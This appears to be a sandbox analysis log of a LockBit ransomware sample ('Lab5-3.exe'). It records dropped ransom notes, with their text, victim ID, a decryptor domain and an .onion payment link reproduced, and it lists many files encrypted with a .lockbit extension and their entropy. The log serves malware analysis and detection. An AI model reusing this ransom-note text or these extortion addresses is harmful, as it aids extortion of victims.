Source: C:\Users\user\Desktop\Lab5-3.exe	File dropped: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\uk-ua\Restore-My-Files.txt -> decryptor.top/?bc76d224712a7481bc6e90acb6d18e50\| 2. follow the instructions on this page2) through a tor browser - recommended\| 1. download tor browser - https://www.torproject.org/ and install it.\| 2. open link in tor browser - http://lockbitks2tvnmwk.onion/?bc76d224712a7481bc6e90acb6d18e50 this link only works in tor browser! \| 3. follow the instructions on this page ### attention! ### # lockbit-decryptor.top may be blocked. we recommend using a tor browser to access the site # do not rename encrypted files. # do not try to decrypt using third party software, it may cause permanent data loss. # decryption of your files with the help of third parties may cause increased price(they add their fee to our). # tor browser may be blocked in your country or corporate network. use https://bridges.torproject.org or use tor browser over vpn. # tor browser user manual https://tb-manual.torproject.org/about	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File dropped: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\zh-cn\Restore-My-Files.txt -> decryptor.top/?bc76d224712a7481bc6e90acb6d18e50\| 2. follow the instructions on this page2) through a tor browser - recommended\| 1. download tor browser - https://www.torproject.org/ and install it.\| 2. open link in tor browser - http://lockbitks2tvnmwk.onion/?bc76d224712a7481bc6e90acb6d18e50 this link only works in tor browser! \| 3. follow the instructions on this page ### attention! ### # lockbit-decryptor.top may be blocked. we recommend using a tor browser to access the site # do not rename encrypted files. # do not try to decrypt using third party software, it may cause permanent data loss. # decryption of your files with the help of third parties may cause increased price(they add their fee to our). # tor browser may be blocked in your country or corporate network. use https://bridges.torproject.org or use tor browser over vpn. # tor browser user manual https://tb-manual.torproject.org/about	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File dropped: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\zh-tw\Restore-My-Files.txt -> decryptor.top/?bc76d224712a7481bc6e90acb6d18e50\| 2. follow the instructions on this page2) through a tor browser - recommended\| 1. download tor browser - https://www.torproject.org/ and install it.\| 2. open link in tor browser - http://lockbitks2tvnmwk.onion/?bc76d224712a7481bc6e90acb6d18e50 this link only works in tor browser! \| 3. follow the instructions on this page ### attention! ### # lockbit-decryptor.top may be blocked. we recommend using a tor browser to access the site # do not rename encrypted files. # do not try to decrypt using third party software, it may cause permanent data loss. # decryption of your files with the help of third parties may cause increased price(they add their fee to our). # tor browser may be blocked in your country or corporate network. use https://bridges.torproject.org or use tor browser over vpn. # tor browser user manual https://tb-manual.torproject.org/about	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File dropped: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\Restore-My-Files.txt -> decryptor.top/?bc76d224712a7481bc6e90acb6d18e50\| 2. follow the instructions on this page2) through a tor browser - recommended\| 1. download tor browser - https://www.torproject.org/ and install it.\| 2. open link in tor browser - http://lockbitks2tvnmwk.onion/?bc76d224712a7481bc6e90acb6d18e50 this link only works in tor browser! \| 3. follow the instructions on this page ### attention! ### # lockbit-decryptor.top may be blocked. we recommend using a tor browser to access the site # do not rename encrypted files. # do not try to decrypt using third party software, it may cause permanent data loss. # decryption of your files with the help of third parties may cause increased price(they add their fee to our). # tor browser may be blocked in your country or corporate network. use https://bridges.torproject.org or use tor browser over vpn. # tor browser user manual https://tb-manual.torproject.org/about	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File dropped: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\assets\Sample Files\Restore-My-Files.txt -> decryptor.top/?bc76d224712a7481bc6e90acb6d18e50\| 2. follow the instructions on this page2) through a tor browser - recommended\| 1. download tor browser - https://www.torproject.org/ and install it.\| 2. open link in tor browser - http://lockbitks2tvnmwk.onion/?bc76d224712a7481bc6e90acb6d18e50 this link only works in tor browser! \| 3. follow the instructions on this page ### attention! ### # lockbit-decryptor.top may be blocked. we recommend using a tor browser to access the site # do not rename encrypted files. # do not try to decrypt using third party software, it may cause permanent data loss. # decryption of your files with the help of third parties may cause increased price(they add their fee to our). # tor browser may be blocked in your country or corporate network. use https://bridges.torproject.org or use tor browser over vpn. # tor browser user manual https://tb-manual.torproject.org/about	Jump to dropped file

Writes many files with high entropy

Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\css\home-view.css.lockbit entropy: 7.9950096704	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\Default\NTUSER.DAT.lockbit entropy: 7.99934634996	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\fr-fr\ui-strings.js.lockbit entropy: 7.99269970906	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\en-il\ui-strings.js.lockbit entropy: 7.99086170397	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\BHVNCPHL\25\H3gIahXaXkGgvztu9ouLmJNXhQM.br[1].js.lockbit entropy: 7.99871607427	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\BHVNCPHL\25\Init[1].htm.lockbit entropy: 7.99836364681	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\BHVNCPHL\25\gYsYMd3hJLlkm0pWl7CInhg245Y.br[1].js.lockbit entropy: 7.99662074697	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\it-it\ui-strings.js.lockbit entropy: 7.99308386953	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\ru-ru\ui-strings.js.lockbit entropy: 7.99510062016	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\BHVNCPHL\25\JClcsxanpxBiLGzKZtauWAccdA0.br[1].js.lockbit entropy: 7.99584101114	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\BHVNCPHL\25\mb8fkd60iW7q4wvyDIlCm9OOn10.br[1].js.lockbit entropy: 7.99628074542	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\BHVNCPHL\25\onra7PQl9o5bYT2lASI1BE4DDEs[1].css.lockbit entropy: 7.99763747471	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\BHVNCPHL\25\pwoaMbzGzgAZN6Xp7f9HbnqMX2U.br[1].js.lockbit entropy: 7.99927279987	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\BHVNCPHL\25\MgSq5EEOyYvlI1qVlLOXfgRHmzM.br[1].js.lockbit entropy: 7.99820690345	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\unified-share\js\nls\nb-no\ui-strings.js.lockbit entropy: 7.994711772	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\BHVNCPHL\25\yNwdh0ra_6sDoSuCVMI8Wjl58UM.br[1].js.lockbit entropy: 7.99789859785	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\BHVNCPHL\25\tIa_X3QDXj2Izj2HpQ_Mo9f1WiM.br[1].js.lockbit entropy: 7.99846275704	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\BHVNCPHL\25\uANxnX_BheDjd2-cdR8N9DEWlds[1].css.lockbit entropy: 7.99129968805	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\de-de\ui-strings.js.lockbit entropy: 7.99034593045	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\videos\whats_new\en-us\Q3_2022_GetWorkDoneFaster_New_Pro.webm.lockbit entropy: 7.9952200802	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\videos\whats_new\pt-br\NativeRS.webm.lockbit entropy: 7.99258029035	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\sk-sk\ui-strings.js.lockbit entropy: 7.99425235209	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\whats_new\pt-br\Q3_2022_send-in-bulk.png.lockbit entropy: 7.99454103186	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\pl-pl\ui-strings.js.lockbit entropy: 7.99434506518	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\root\ui-strings.js.lockbit entropy: 7.99223696615	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\whats_new\en-us\AcrobatDesktop_WN_ModernViewerMAC_20230621_AE_v02.png.lockbit entropy: 7.9987473304	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\hr-hr\ui-strings.js.lockbit entropy: 7.99337432765	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\AppIconCache\100\Microsoft_AutoGenerated_{E8B84CFB-B069-BC13-F88F-170904F645E5}.lockbit entropy: 7.99569238687	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\ru-ru\ui-strings.js.lockbit entropy: 7.99563768364	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\whats_new\pt-br\Q3_2022_payments.png.lockbit entropy: 7.9947864741	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\en-il\ui-strings.js.lockbit entropy: 7.99276448247	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\unified-share\js\nls\pl-pl\ui-strings.js.lockbit entropy: 7.99443068827	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\eu-es\ui-strings.js.lockbit entropy: 7.99408972499	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\unified-share\js\nls\nl-nl\ui-strings.js.lockbit entropy: 7.9947380315	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\en-ae\ui-strings.js.lockbit entropy: 7.99274403415	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\videos\whats_new\en-us\Q3_2022_ExperienceStreamlinedAcrobat_Old_Reader.webm.lockbit entropy: 7.99893643614	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\unified-share\js\nls\sl-si\ui-strings.js.lockbit entropy: 7.99447166169	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\unified-share\js\nls\uk-ua\ui-strings.js.lockbit entropy: 7.99645492349	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\whats_new\pt-br\Q3_2022_webform.png.lockbit entropy: 7.99478191819	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\da-dk\ui-strings.js.lockbit entropy: 7.993145501	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\it-it\ui-strings.js.lockbit entropy: 7.99314134699	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\sl-si\ui-strings.js.lockbit entropy: 7.99336912609	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\assets\Sample Files\Adobe Sign White Paper.pdf.lockbit entropy: 7.99436011652	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\unified-share\js\nls\pt-br\ui-strings.js.lockbit entropy: 7.99448276249	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\unified-share\js\nls\zh-tw\ui-strings.js.lockbit entropy: 7.99398553063	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\ko-kr\ui-strings.js.lockbit entropy: 7.99388132088	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\unified-share\js\nls\zh-cn\ui-strings.js.lockbit entropy: 7.99489235366	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\ro-ro\ui-strings.js.lockbit entropy: 7.99063167115	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\fi-fi\ui-strings.js.lockbit entropy: 7.99424290682	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\fr-fr\ui-strings.js.lockbit entropy: 7.99370534208	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\unified-share\js\nls\root\ui-strings.js.lockbit entropy: 7.9940580633	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\unified-share\js\nls\tr-tr\ui-strings.js.lockbit entropy: 7.99535238154	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\unified-share\js\nls\sv-se\ui-strings.js.lockbit entropy: 7.99452829924	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\unified-share\js\nls\sk-sk\ui-strings.js.lockbit entropy: 7.99424765971	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\de-de\ui-strings.js.lockbit entropy: 7.99338044905	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\unified-share\js\nls\ro-ro\ui-strings.js.lockbit entropy: 7.99498635531	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\eu-es\ui-strings.js.lockbit entropy: 7.99012464834	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\walk-through\images\dc_review_upsell_2x.png.lockbit entropy: 7.99095270323	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\sv-se\ui-strings.js.lockbit entropy: 7.99350646971	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\hu-hu\ui-strings.js.lockbit entropy: 7.99489843705	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\es-es\ui-strings.js.lockbit entropy: 7.99411533198	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\unified-share\js\nls\ru-ru\ui-strings.js.lockbit entropy: 7.99665490519	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\fr-ma\ui-strings.js.lockbit entropy: 7.99349743951	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\walk-through\css\main.css.lockbit entropy: 7.99534866429	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\ja-jp\ui-strings.js.lockbit entropy: 7.99539467362	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\es-es\ui-strings.js.lockbit entropy: 7.99103527843	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\walk-through\images\themes\dark\dc_review_upsell_2x.png.lockbit entropy: 7.99045531437	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\walk-through\images\themes\dark\dc_share_upsell_2x.png.lockbit entropy: 7.99167479429	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\nb-no\ui-strings.js.lockbit entropy: 7.99305512769	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\ru-ru\ui-strings.js.lockbit entropy: 7.9926990754	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\zh-cn\ui-strings.js.lockbit entropy: 7.9934425309	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\walk-through\images\dc_share_upsell_2x.png.lockbit entropy: 7.99218127359	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\cs-cz\ui-strings.js.lockbit entropy: 7.99296724243	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\adobeScanQRCode.png.lockbit entropy: 7.99897281454	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\videos\whats_new\en-us\NativeRS.webm.lockbit entropy: 7.99212429046	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\assets\Sample Files\Adobe Acrobat Pro DC.pdf.lockbit entropy: 7.99887460347	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\sk-sk\ui-strings.js.lockbit entropy: 7.99006317189	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\videos\whats_new\de-de\NativeRS.webm.lockbit entropy: 7.99280761731	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_cs_135x40.svg.lockbit entropy: 7.99153461387	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\uk-ua\ui-strings.js.lockbit entropy: 7.99615515064	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_nl_135x40.svg.lockbit entropy: 7.99184745839	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\adobeScanQRCode@2x.png.lockbit entropy: 7.99899922951	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\tr-tr\ui-strings.js.lockbit entropy: 7.99372328009	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_fi_135x40.svg.lockbit entropy: 7.99075542927	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\assets\Sample Files\Adobe Cloud Services.pdf.lockbit entropy: 7.99106142428	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\zh-tw\ui-strings.js.lockbit entropy: 7.9925571216	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst.lockbit entropy: 7.99887874852	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheAcro65536.dat.lockbit entropy: 7.99926629287	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\css\main.css.lockbit entropy: 7.99683348352	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2023-10-04 13-00-50-743.log.lockbit entropy: 7.99022055199	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt.lockbit entropy: 7.99301104369	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231004-1000.log.lockbit entropy: 7.99594853238	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231004-0929b.log.lockbit entropy: 7.99811513057	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231003-1309.log.lockbit entropy: 7.99867196876	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231003-1258.log.lockbit entropy: 7.99516723478	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log.lockbit entropy: 7.99021139005	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-acro-en_us.gif.lockbit entropy: 7.99905753401	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\selector.js.lockbit entropy: 7.99181350568	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231003-1258c.log.lockbit entropy: 7.99820202781	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231004-0929a.log.lockbit entropy: 7.99737865832	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\AppIconCache\100\Chrome__crx_aghbiahbpaeidepookljebhfak.lockbit entropy: 7.99581260181	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\AppIconCache\100\308046B0AF4A39CB.lockbit entropy: 7.99484255837	Jump to dropped file
